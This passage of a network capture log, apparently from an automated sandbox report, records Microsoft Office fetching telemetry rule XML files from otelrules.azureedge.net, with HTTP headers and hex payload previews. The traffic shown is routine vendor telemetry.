2024-11-21 06:10:36 UTC	933	IN	HTTP/1.1 200 OK Version: 697903402 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 21 Nov 2024 06:10:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-21 06:10:36 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-21 06:10:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:36 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:36 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 833f0754-a01e-0053-540e-3b8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061036Z-1777c6cb754rz2pghC1TEBghen0000000apg0000000039zg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:37 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:36 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:37 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:36 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6b01426f-c01e-0066-3d9a-3ba1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061036Z-r1d97b99577hsvhhhC1TEByb1w000000046000000000cvvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:37 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:36 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:37 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:37 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061037Z-178bfbc474b9fdhphC1NYCac0n00000000y000000000gbhk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:37 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:37 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:37 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:37 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061037Z-178bfbc474bpnd5vhC1NYC4vr4000000011g00000000b6et x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:37 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:37 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:38 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:37 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 82acda03-501e-00a0-6aa6-3b9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061037Z-r1d97b99577ckpmjhC1TEBrzs000000009zg00000000a30k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:38 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:39 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061039Z-1777c6cb7544n7p6hC1TEByvb40000000asg00000000g2ea x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:38 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061039Z-178bfbc474bv587zhC1NYCny5w00000000v000000000phc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:39 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061039Z-178bfbc474bwh9gmhC1NYCy3rs000000016g000000004sps x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 06:10:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:39 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:39 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061039Z-178bfbc474bfw4gbhC1NYCunf400000000zg00000000pebd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:40 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:40 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:40 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 962a21d8-701e-001e-0fb8-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061040Z-r1d97b9957744xz5hC1TEB5bf800000009rg00000000k061 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:40 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 06:10:41 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 06:10:41 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 06:10:41 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9d90d28-901e-00a0-5d63-3b6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T061041Z-178bfbc474btvfdfhC1NYCa2en000000014000000000cx1y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 06:10:41 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
